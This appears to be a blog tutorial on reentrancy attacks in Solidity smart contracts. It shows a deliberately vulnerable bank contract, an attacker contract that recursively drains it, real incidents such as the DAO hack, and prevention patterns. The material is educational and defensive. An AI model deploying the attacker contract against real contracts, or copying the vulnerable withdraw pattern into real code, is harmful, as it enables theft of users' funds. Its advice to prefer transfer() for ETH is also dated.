Reentrancy Attacks in Smart Contracts: A Deep Dive into Vulnerabilities and Prevention
Smart contracts are self-executing agreements with the terms written in code. While they bring transparency and automation, they are also prone to exploits if not properly secured. One of the most infamous vulnerabilities is the reentrancy attack, which led to the DAO Hack in 2016, resulting in a loss of $60 million worth of ETH. This blog will cover:
What is a Reentrancy Attack?
How Does It Work? (With Code Examples)
Types of Reentrancy Attacks
Real-World Exploits
How to Prevent Reentrancy
Best Practices for Secure Smart Contracts
1. What is a Reentrancy Attack?
A reentrancy attack occurs when a malicious contract repeatedly calls back into a vulnerable function before the initial execution completes, allowing the attacker to drain funds or manipulate state variables.
Key Conditions for Reentrancy:
✅ External Calls – The contract interacts with an untrusted contract (e.g., sending ETH).
✅ State Changes After External Call – The contract updates its state after the external call, leaving a loophole.
✅ Recursive Callbacks – The attacker’s contract repeatedly re-enters the function via a fallback/receive function.
2. How Does a Reentrancy Attack Work? (With Code)
Vulnerable Smart Contract Example
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VulnerableBank { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint balance = balances[msg.sender]; require(balance > 0, "No balance"); // Vulnerable: External call before state update (bool sent, ) = msg.sender.call{value: balance}(""); require(sent, "Transfer failed"); balances[msg.sender] = 0; // Too late! } }
Attacker’s Contract
contract Attacker { VulnerableBank public bank; constructor(address _bankAddress) { bank = VulnerableBank(_bankAddress); } function attack() external payable { bank.deposit{value: 1 ether}(); bank.withdraw(); } receive() external payable { if (address(bank).balance >= 1 ether) { bank.withdraw(); } } }
Attack Flow:
Attacker deposits 1 ETH into
VulnerableBank.Attacker calls
withdraw(), triggering an ETH transfer.Before
balances[msg.sender] = 0executes, the attacker’sreceive()function callswithdraw()again.The loop continues until the bank is drained.
3. Types of Reentrancy Attacks
1. Single-Function Reentrancy
Exploits a single function (like the example above).
2. Cross-Function Reentrancy
Uses multiple functions that share the same state variable.
Example:
withdraw()deducts balance after sending ETH.transfer()also relies on the samebalancesmapping.
3. Cross-Contract Reentrancy
Involves multiple contracts interacting with shared state.
Example: A DeFi protocol interacting with multiple lending pools.
4. Real-World Exploits
1. The DAO Hack (2016) – $60M Stolen
A recursive reentrancy attack drained funds from The DAO, leading to Ethereum’s hard fork (ETH vs. ETC).
2. Lendf.Me Hack (2020) – $25M Lost
An attacker exploited an ERC-777 token’s callback mechanism to re-enter the lending contract.
3. Siren Protocol Hack (2021) – $3.5M Stolen
AMM pools were drained due to a reentrancy flaw in token redemption logic.
5. How to Prevent Reentrancy Attacks
1. Checks-Effects-Interactions Pattern
Update state before making external calls.
function withdraw() public { uint balance = balances[msg.sender]; require(balance > 0, "No balance"); balances[msg.sender] = 0; // State updated first ✅ (bool sent, ) = msg.sender.call{value: balance}(""); require(sent, "Transfer failed"); }
2. Use OpenZeppelin’s ReentrancyGuard
A modifier that locks the function during execution.
import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract SecureBank is ReentrancyGuard { function withdraw() public nonReentrant { // Safe from reentrancy ✅ } }
3. Avoid call() for ETH Transfers
Use
transfer()orsend()(they have a 2300 gas limit, preventing reentrancy).
payable(msg.sender).transfer(balance);
4. Pull Over Push Pattern
Let users withdraw funds themselves instead of sending ETH automatically.
6. Best Practices for Secure Smart Contracts
✅ Always follow Checks-Effects-Interactions.
✅ Use OpenZeppelin’s ReentrancyGuard for critical functions.
✅ Limit external calls to trusted contracts.
✅ Test contracts using tools like Slither, MythX, or manual fuzzing.
✅ Conduct third-party audits before deployment.
Conclusion
Reentrancy attacks remain one of the most dangerous exploits in smart contract development. By understanding how they work and applying secure coding patterns like Checks-Effects-Interactions and ReentrancyGuard, developers can significantly reduce risks.

Comments
Post a Comment